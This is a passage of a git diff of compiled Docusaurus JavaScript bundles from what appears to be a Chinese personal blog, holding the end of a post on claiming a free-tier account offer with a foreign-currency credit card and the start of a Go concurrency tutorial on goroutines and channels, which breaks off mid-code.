\u5757\u5b58\u50a8\u6d3b\u52a8\uff0c\u4ee5\u53ca2\u4e2a\u6708250\u5200\u7684\u989d\u5ea6\u3002\u9886\u53d6\u5730\u5740\u5728\u6587\u7ae0\u7ed3\u5c3e\uff0c\u5e9f\u8bdd\u4e0d\u591a\u8bf4\u6211\u4eec\u6b63\u5f0f\u5f00\u59cb"]}),"\n",(0,i.jsx)(s.h2,{id:"\u9886\u53d6\u6761\u4ef6",children:"\u9886\u53d6\u6761\u4ef6"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.strong,{children:"\u4e00\u5f20\u652f\u6301\u5916\u5e01\u652f\u4ed8\u7684\u4e2d\u56fd\u533a\u7684\u4fe1\u7528\u5361"})}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",children:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b"}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsx)(s.p,{children:"\u8fd9\u90e8\u5206\u53ef\u9009\u62e9\u62db\u5546\u7684 Visa \u5361 \uff0c\u8fd9\u4e2a\u662f\u5fc5\u8981\u7684\uff0c\u63a5\u4e0b\u6765\u6211\u8fd8\u4f1a\u5206\u4eab\u5176\u4ed6\u7684\u767d\u5ad6\u6559\u7a0b\uff0c\u6240\u4ee5\u9700\u8981\u7528\u5230\u6b64\u5361"}),"\n"]}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-tex",children:"https://cc.cmbchina.com/card/\n"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110152241394",src:n(36006).A+"",width:"2388",height:"1598"})}),"\n",(0,i.jsx)(s.h2,{id:"\u9886\u53d6\u5b9e\u64cd",children:"\u9886\u53d6\u5b9e\u64cd"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110162736930",src:n(5008).A+"",width:"2982",height:"1276"})}),"\n",(0,i.jsxs)(s.p,{children:["\u767b\u5f55",(0,i.jsx)(s.code,{children:"atlantic"}),"\u7684\u5b98\u7f51\u6ce8\u518c\u8d26\u6237\uff0c\u5e76\u9a8c\u8bc1\u90ae\u7bb1"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110162625830",src:n(86706).A+"",width:"2574",height:"1474"})}),"\n",(0,i.jsx)(s.p,{children:"\u5982\u5b9e\u586b\u5199\u5730\u5740\uff0c\u548c\u5916\u5e01\u4fe1\u7528\u5361"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110162820407",src:n(30129).A+"",width:"2628",height:"1446"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163049139",src:n(92443).A+"",width:"2728",height:"1540"})}),"\n",(0,i.jsx)(s.p,{children:"\u70b9\u51fb\u5b8c\u6210\u540e\uff0c\u63a5\u4e0b\u6765\u4f60\u6ce8\u518c\u7684\u8d26\u53f7\u4e2d\u4f1a\u6536\u5230\u4e00\u5c01\u90ae\u7bb1\uff0c\u6211\u4eec\u70b9\u51fb\u9a8c\u8bc1\u652f\u4ed8\u65b9\u5f0f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163224527",src:n(75473).A+"",width:"1932",height:"1332"})}),"\n",(0,i.jsx)(s.p,{children:"\u70b9\u51fb\u540e\uff0c\u4f60\u7684\u4fe1\u7528\u5361\u4f1a\u6536\u5230\u4e00\u7b14\u7ed1\u5b9a\u6263\u6b3e\u8d39\u7528\uff0c\u5e76\u586b\u5199\u5728\u8be5\u9875\u9762\u4e2d\uff0c\u5e76\u6839\u636e\u9875\u9762\u8981\u6c42\uff0c\u586b\u5199\u5bf9\u5e94\u7684\u4ee3\u7801"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163639675",src:n(28361).A+"",width:"1408",height:"1234"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163740314",src:n(40744).A+"",width:"1834",height:"1386"})}),"\n",(0,i.jsx)(s.p,{children:"\u7a0d\u5fae\u7b49\u5f85\u4e00\u4f1a\uff0c\u5373\u53ef\u5ba1\u6838\u901a\u8fc7\u6210\u529f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163819728",src:n(92014).A+"",width:"1692",height:"808"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163926943",src:n(27540).A+"",width:"1766",height:"996"})}),"\n",(0,i.jsx)(s.p,{children:"\u5230\u6b64\u6211\u4eec\u7684\u8d26\u6237\u6ce8\u518c\u6210\u529f\uff0c\u4fe1\u7528\u5361\u4f1a\u6263\u96640.89\u7f8e\u5143\u7684\u6388\u6743\u8d39\uff0c\u8fc7\u51e0\u5929\u4f1a\u9000\u56de\u6765\uff0c\u6211\u4eec\u7b49\u5f85\u4e00\u4f1a\uff08\u6211\u5927\u6982\u7b49\u4e86\u534a\u5c0f\u65f6\uff09"}),"\n",(0,i.jsx)(s.h2,{id:"\u6ce8\u610f\u4e8b\u9879",children:"\u6ce8\u610f\u4e8b\u9879"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110151606280",src:n(63373).A+"",width:"980",height:"336"})}),"\n",(0,i.jsx)(s.p,{children:"\u540e\u7eed\u65e0\u9700\u4f7f\u7528\u5370\u5ea6\u6216\u4f60\u5f53\u524d\u9009\u62e9\u7684\u5730\u533a\u8282\u70b9\uff0c\u5176\u4ed6\u5730\u533a\u7684\u8282\u70b9\u5747\u53ef"}),"\n",(0,i.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(s.p,{children:["\u5982\u679c\u4f60\u4e5f\u60f3",(0,i.jsx)(s.strong,{children:"\u514d\u8d39\u9886\u53d6\u4e00\u5e74 ChatGPT Go \u5957\u9910"})," \uff0c\u5219\u9700\u8981\u524d\u7f6e\u7684\u4e09\u4e2a\u6761\u4ef6\uff0c\u8bb0\u5f97",(0,i.jsx)(s.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,i.jsx)(s.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})]})]})}function o(e={}){const{wrapper:s}={...(0,c.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(h,{...e})}):h(e)}},63373:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png"},75473:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163224527-881ea0d8206b63256b9ae2af427e1d60.png"},86706:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110162625830-6a9cf6fcaa3e88c4c89ed3321eee2e71.png"},92014:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163819728-5acc22b6bb0071c0568cc4eaa646092b.png"},92443:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163049139-580fb3b0d1cf1c1916c11b84746c0a14.png"}}]); \ No newline at end of file diff --git a/assets/js/6a1ebd87.ee4976a5.js b/assets/js/6a1ebd87.ee4976a5.js new file mode 100644 index 0000000..50c7d91 --- /dev/null +++ b/assets/js/6a1ebd87.ee4976a5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[587],{18370:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/goroutine01-e1a5a5dccac6ecb497a276573cc980bb.png"},28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>s});var c=t(96540);const i={},r=c.createContext(i);function l(n){const e=c.useContext(r);return c.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:l(n.components),c.createElement(r.Provider,{value:e},n.children)}},52164:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png"},64931:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/gpm-8e3f557669920ed58500ad3b70df57a2.png"},82905:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/goroutine02-c842afde30abb657301cdcdd67eaa846.png"},91505:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>s,default:()=>h,frontMatter:()=>l,metadata:()=>c,toc:()=>d});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","description":"\u5e76\u53d1\u7f16\u7a0b\u5728\u5f53\u524d\u8f6f\u4ef6\u9886\u57df\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\uff0c\u968f\u7740CPU\u7b49\u786c\u4ef6\u7684\u53d1\u5c55\uff0c\u6211\u4eec\u65e0\u4e00\u4f8b\u5916\u7684\u60f3\u8ba9\u6211\u4eec\u7684\u7a0b\u5e8f\u8fd0\u884c\u7684\u5feb\u4e00\u70b9\u3001\u518d\u5feb\u4e00\u70b9\u3002Go\u8bed\u8a00\u5728\u8bed\u8a00\u5c42\u9762\u5929\u751f\u652f\u6301\u5e76\u53d1\uff0c\u5145\u5206\u5229\u7528\u73b0\u4ee3CPU\u7684\u591a\u6838\u4f18\u52bf\uff0c\u8fd9\u4e5f\u662fGo\u8bed\u8a00\u80fd\u591f\u5927\u8303\u56f4\u6d41\u884c\u7684\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u539f\u56e0\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/18.GoLang-\u5e76\u53d1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/18.GoLang-\u5e76\u53d1.md","tags":[],"version":"current","sidebarPosition":18,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b"}}');var i=t(74848),r=t(28453);const l={},s="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1",o={},d=[{value:"\u57fa\u672c\u6982\u5ff5",id:"\u57fa\u672c\u6982\u5ff5",level:2},{value:"\u4e32\u884c\u3001\u5e76\u53d1\u4e0e\u5e76\u884c",id:"\u4e32\u884c\u5e76\u53d1\u4e0e\u5e76\u884c",level:3},{value:"\u8fdb\u7a0b\u3001\u7ebf\u7a0b\u548c\u534f\u7a0b",id:"\u8fdb\u7a0b\u7ebf\u7a0b\u548c\u534f\u7a0b",level:3},{value:"\u5e76\u53d1\u6a21\u578b",id:"\u5e76\u53d1\u6a21\u578b",level:3},{value:"goroutine",id:"goroutine",level:2},{value:"go\u5173\u952e\u5b57",id:"go\u5173\u952e\u5b57",level:3},{value:"\u542f\u52a8\u5355\u4e2agoroutine",id:"\u542f\u52a8\u5355\u4e2agoroutine",level:3},{value:"\u542f\u52a8\u591a\u4e2agoroutine",id:"\u542f\u52a8\u591a\u4e2agoroutine",level:3},{value:"\u52a8\u6001\u6808",id:"\u52a8\u6001\u6808",level:3},{value:"goroutine\u8c03\u5ea6",id:"goroutine\u8c03\u5ea6",level:3},{value:"GOMAXPROCS",id:"gomaxprocs",level:3},{value:"\u7ec3\u4e60\u9898",id:"\u7ec3\u4e60\u9898",level:3},{value:"channel",id:"channel",level:2},{value:"channel\u7c7b\u578b",id:"channel\u7c7b\u578b",level:3},{value:"channel\u96f6\u503c",id:"channel\u96f6\u503c",level:3},{value:"\u521d\u59cb\u5316channel",id:"\u521d\u59cb\u5316channel",level:3},{value:"channel\u64cd\u4f5c",id:"channel\u64cd\u4f5c",level:3},{value:"\u53d1\u9001",id:"\u53d1\u9001",level:4},{value:"\u63a5\u6536",id:"\u63a5\u6536",level:4},{value:"\u5173\u95ed",id:"\u5173\u95ed",level:4},{value:"\u65e0\u7f13\u51b2\u7684\u901a\u9053",id:"\u65e0\u7f13\u51b2\u7684\u901a\u9053",level:3},{value:"\u6709\u7f13\u51b2\u7684\u901a\u9053",id:"\u6709\u7f13\u51b2\u7684\u901a\u9053",level:3},{value:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f",id:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f",level:3},{value:"for range\u63a5\u6536\u503c",id:"for-range\u63a5\u6536\u503c",level:3},{value:"\u5355\u5411\u901a\u9053",id:"\u5355\u5411\u901a\u9053",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:3},{value:"select\u591a\u8def\u590d\u7528",id:"select\u591a\u8def\u590d\u7528",level:2},{value:"\u901a\u9053\u8bef\u7528\u793a\u4f8b",id:"\u901a\u9053\u8bef\u7528\u793a\u4f8b",level:2},{value:"\u793a\u4f8b1",id:"\u793a\u4f8b1",level:4},{value:"\u793a\u4f8b2",id:"\u793a\u4f8b2",level:4},{value:"\u5e76\u53d1\u5b89\u5168\u548c\u9501",id:"\u5e76\u53d1\u5b89\u5168\u548c\u9501",level:2},{value:"\u4e92\u65a5\u9501",id:"\u4e92\u65a5\u9501",level:3},{value:"\u8bfb\u5199\u4e92\u65a5\u9501",id:"\u8bfb\u5199\u4e92\u65a5\u9501",level:3},{value:"sync.WaitGroup",id:"syncwaitgroup",level:3},{value:"sync.Once",id:"synconce",level:3},{value:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b",id:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b",level:4},{value:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f",id:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f",level:4},{value:"sync.Map",id:"syncmap",level:3},{value:"\u539f\u5b50\u64cd\u4f5c",id:"\u539f\u5b50\u64cd\u4f5c",level:2},{value:"atomic\u5305",id:"atomic\u5305",level:3},{value:"\u793a\u4f8b",id:"\u793a\u4f8b",level:3}];function a(n){const e={code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1"})}),"\n",(0,i.jsx)(e.p,{children:"\u5e76\u53d1\u7f16\u7a0b\u5728\u5f53\u524d\u8f6f\u4ef6\u9886\u57df\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\uff0c\u968f\u7740CPU\u7b49\u786c\u4ef6\u7684\u53d1\u5c55\uff0c\u6211\u4eec\u65e0\u4e00\u4f8b\u5916\u7684\u60f3\u8ba9\u6211\u4eec\u7684\u7a0b\u5e8f\u8fd0\u884c\u7684\u5feb\u4e00\u70b9\u3001\u518d\u5feb\u4e00\u70b9\u3002Go\u8bed\u8a00\u5728\u8bed\u8a00\u5c42\u9762\u5929\u751f\u652f\u6301\u5e76\u53d1\uff0c\u5145\u5206\u5229\u7528\u73b0\u4ee3CPU\u7684\u591a\u6838\u4f18\u52bf\uff0c\u8fd9\u4e5f\u662fGo\u8bed\u8a00\u80fd\u591f\u5927\u8303\u56f4\u6d41\u884c\u7684\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u539f\u56e0\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"\u57fa\u672c\u6982\u5ff5",children:"\u57fa\u672c\u6982\u5ff5"}),"\n",(0,i.jsx)(e.p,{children:"\u9996\u5148\u6211\u4eec\u5148\u6765\u4e86\u89e3\u51e0\u4e2a\u4e0e\u5e76\u53d1\u7f16\u7a0b\u76f8\u5173\u7684\u57fa\u672c\u6982\u5ff5\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u4e32\u884c\u5e76\u53d1\u4e0e\u5e76\u884c",children:"\u4e32\u884c\u3001\u5e76\u53d1\u4e0e\u5e76\u884c"}),"\n",(0,i.jsx)(e.p,{children:"\u4e32\u884c\uff1a\u6211\u4eec\u90fd\u662f\u5148\u8bfb\u5c0f\u5b66\uff0c\u5c0f\u5b66\u6bd5\u4e1a\u540e\u518d\u8bfb\u521d\u4e2d\uff0c\u8bfb\u5b8c\u521d\u4e2d\u518d\u8bfb\u9ad8\u4e2d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5e76\u53d1\uff1a\u540c\u4e00\u65f6\u95f4\u6bb5\u5185\u6267\u884c\u591a\u4e2a\u4efb\u52a1\uff08\u4f60\u5728\u7528\u5fae\u4fe1\u548c\u4e24\u4e2a\u5973\u670b\u53cb\u804a\u5929\uff09\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5e76\u884c\uff1a\u540c\u4e00\u65f6\u523b\u6267\u884c\u591a\u4e2a\u4efb\u52a1\uff08\u4f60\u548c\u4f60\u670b\u53cb\u90fd\u5728\u7528\u5fae\u4fe1\u548c\u5973\u670b\u53cb\u804a\u5929\uff09\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u8fdb\u7a0b\u7ebf\u7a0b\u548c\u534f\u7a0b",children:"\u8fdb\u7a0b\u3001\u7ebf\u7a0b\u548c\u534f\u7a0b"}),"\n",(0,i.jsx)(e.p,{children:"\u8fdb\u7a0b\uff08process\uff09\uff1a\u7a0b\u5e8f\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u7684\u4e00\u6b21\u6267\u884c\u8fc7\u7a0b\uff0c\u7cfb\u7edf\u8fdb\u884c\u8d44\u6e90\u5206\u914d\u548c\u8c03\u5ea6\u7684\u4e00\u4e2a\u72ec\u7acb\u5355\u4f4d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ebf\u7a0b\uff08thread\uff09\uff1a\u64cd\u4f5c\u7cfb\u7edf\u57fa\u4e8e\u8fdb\u7a0b\u5f00\u542f\u7684\u8f7b\u91cf\u7ea7\u8fdb\u7a0b\uff0c\u662f\u64cd\u4f5c\u7cfb\u7edf\u8c03\u5ea6\u6267\u884c\u7684\u6700\u5c0f\u5355\u4f4d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u534f\u7a0b\uff08coroutine\uff09\uff1a\u975e\u64cd\u4f5c\u7cfb\u7edf\u63d0\u4f9b\u800c\u662f\u7531\u7528\u6237\u81ea\u884c\u521b\u5efa\u548c\u63a7\u5236\u7684\u7528\u6237\u6001\u2018\u7ebf\u7a0b\u2019\uff0c\u6bd4\u7ebf\u7a0b\u66f4\u8f7b\u91cf\u7ea7\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u5e76\u53d1\u6a21\u578b",children:"\u5e76\u53d1\u6a21\u578b"}),"\n",(0,i.jsx)(e.p,{children:"\u4e1a\u754c\u5c06\u5982\u4f55\u5b9e\u73b0\u5e76\u53d1\u7f16\u7a0b\u603b\u7ed3\u5f52\u7eb3\u4e3a\u5404\u5f0f\u5404\u6837\u7684\u5e76\u53d1\u6a21\u578b\uff0c\u5e38\u89c1\u7684\u5e76\u53d1\u6a21\u578b\u6709\u4ee5\u4e0b\u51e0\u79cd\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u7ebf\u7a0b&\u9501\u6a21\u578b"}),"\n",(0,i.jsx)(e.li,{children:"Actor\u6a21\u578b"}),"\n",(0,i.jsx)(e.li,{children:"CSP\u6a21\u578b"}),"\n",(0,i.jsx)(e.li,{children:"Fork&Join\u6a21\u578b"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u5e76\u53d1\u7a0b\u5e8f\u4e3b\u8981\u662f\u901a\u8fc7\u57fa\u4e8eCSP\uff08communicating sequential processes\uff09\u7684goroutine\u548cchannel\u6765\u5b9e\u73b0\uff0c\u5f53\u7136\u4e5f\u652f\u6301\u4f7f\u7528\u4f20\u7edf\u7684\u591a\u7ebf\u7a0b\u5171\u4eab\u5185\u5b58\u7684\u5e76\u53d1\u65b9\u5f0f\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"goroutine",children:"goroutine"}),"\n",(0,i.jsx)(e.p,{children:"Goroutine \u662f Go \u8bed\u8a00\u652f\u6301\u5e76\u53d1\u7684\u6838\u5fc3\uff0c\u5728\u4e00\u4e2aGo\u7a0b\u5e8f\u4e2d\u540c\u65f6\u521b\u5efa\u6210\u767e\u4e0a\u5343\u4e2agoroutine\u662f\u975e\u5e38\u666e\u904d\u7684\uff0c\u4e00\u4e2agoroutine\u4f1a\u4ee5\u4e00\u4e2a\u5f88\u5c0f\u7684\u6808\u5f00\u59cb\u5176\u751f\u547d\u5468\u671f\uff0c\u4e00\u822c\u53ea\u9700\u89812KB\u3002\u533a\u522b\u4e8e\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\u7531\u7cfb\u7edf\u5185\u6838\u8fdb\u884c\u8c03\u5ea6\uff0c goroutine \u662f\u7531Go\u8fd0\u884c\u65f6\uff08runtime\uff09\u8d1f\u8d23\u8c03\u5ea6\u3002\u4f8b\u5982Go\u8fd0\u884c\u65f6\u4f1a\u667a\u80fd\u5730\u5c06 m\u4e2agoroutine \u5408\u7406\u5730\u5206\u914d\u7ed9n\u4e2a\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\uff0c\u5b9e\u73b0\u7c7b\u4f3cm:n\u7684\u8c03\u5ea6\u673a\u5236\uff0c\u4e0d\u518d\u9700\u8981Go\u5f00\u53d1\u8005\u81ea\u884c\u5728\u4ee3\u7801\u5c42\u9762\u7ef4\u62a4\u4e00\u4e2a\u7ebf\u7a0b\u6c60\u3002"}),"\n",(0,i.jsx)(e.p,{children:"Goroutine \u662f Go \u7a0b\u5e8f\u4e2d\u6700\u57fa\u672c\u7684\u5e76\u53d1\u6267\u884c\u5355\u5143\u3002\u6bcf\u4e00\u4e2a Go \u7a0b\u5e8f\u90fd\u81f3\u5c11\u5305\u542b\u4e00\u4e2a goroutine\u2014\u2014main goroutine\uff0c\u5f53 Go \u7a0b\u5e8f\u542f\u52a8\u65f6\u5b83\u4f1a\u81ea\u52a8\u521b\u5efa\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5728Go\u8bed\u8a00\u7f16\u7a0b\u4e2d\u4f60\u4e0d\u9700\u8981\u53bb\u81ea\u5df1\u5199\u8fdb\u7a0b\u3001\u7ebf\u7a0b\u3001\u534f\u7a0b\uff0c\u4f60\u7684\u6280\u80fd\u5305\u91cc\u53ea\u6709\u4e00\u4e2a\u6280\u80fd\u2014\u2014goroutine\uff0c\u5f53\u4f60\u9700\u8981\u8ba9\u67d0\u4e2a\u4efb\u52a1\u5e76\u53d1\u6267\u884c\u7684\u65f6\u5019\uff0c\u4f60\u53ea\u9700\u8981\u628a\u8fd9\u4e2a\u4efb\u52a1\u5305\u88c5\u6210\u4e00\u4e2a\u51fd\u6570\uff0c\u5f00\u542f\u4e00\u4e2a goroutine \u53bb\u6267\u884c\u8fd9\u4e2a\u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\uff0c\u5c31\u662f\u8fd9\u4e48\u7b80\u5355\u7c97\u66b4\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"go\u5173\u952e\u5b57",children:"go\u5173\u952e\u5b57"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u4f7f\u7528 goroutine \u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u51fd\u6570\u6216\u65b9\u6cd5\u8c03\u7528\u524d\u52a0\u4e0a",(0,i.jsx)(e.code,{children:"go"}),"\u5173\u952e\u5b57\u5c31\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a goroutine \uff0c\u4ece\u800c\u8ba9\u8be5\u51fd\u6570\u6216\u65b9\u6cd5\u5728\u65b0\u521b\u5efa\u7684 goroutine \u4e2d\u6267\u884c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"go f() // \u521b\u5efa\u4e00\u4e2a\u65b0\u7684 goroutine \u8fd0\u884c\u51fd\u6570f\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u533f\u540d\u51fd\u6570\u4e5f\u652f\u6301\u4f7f\u7528",(0,i.jsx)(e.code,{children:"go"}),"\u5173\u952e\u5b57\u521b\u5efa goroutine \u53bb\u6267\u884c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"go func(){\n // ...\n}()\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2a goroutine \u5fc5\u5b9a\u5bf9\u5e94\u4e00\u4e2a\u51fd\u6570/\u65b9\u6cd5\uff0c\u53ef\u4ee5\u521b\u5efa\u591a\u4e2a goroutine \u53bb\u6267\u884c\u76f8\u540c\u7684\u51fd\u6570/\u65b9\u6cd5\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u542f\u52a8\u5355\u4e2agoroutine",children:"\u542f\u52a8\u5355\u4e2agoroutine"}),"\n",(0,i.jsxs)(e.p,{children:["\u542f\u52a8 goroutine \u7684\u65b9\u5f0f\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u8c03\u7528\u51fd\u6570\uff08\u666e\u901a\u51fd\u6570\u548c\u533f\u540d\u51fd\u6570\uff09\u524d\u52a0\u4e0a\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"go"}),"\u5173\u952e\u5b57\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u5728 main \u51fd\u6570\u4e2d\u6267\u884c\u666e\u901a\u51fd\u6570\u8c03\u7528\u7684\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n)\n\nfunc hello() {\n\tfmt.Println("hello")\n}\n\nfunc main() {\n\thello()\n\tfmt.Println("\u4f60\u597d")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"hello\n\u4f60\u597d\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4ee3\u7801\u4e2d hello \u51fd\u6570\u548c\u5176\u540e\u9762\u7684\u6253\u5370\u8bed\u53e5\u662f\u4e32\u884c\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"main goroutine",src:t(18370).A+"",width:"222",height:"462"})}),"\n",(0,i.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5728\u8c03\u7528 hello \u51fd\u6570\u524d\u9762\u52a0\u4e0a\u5173\u952e\u5b57",(0,i.jsx)(e.code,{children:"go"}),"\uff0c\u4e5f\u5c31\u662f\u542f\u52a8\u4e00\u4e2a goroutine \u53bb\u6267\u884c hello \u8fd9\u4e2a\u51fd\u6570\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tgo hello() // 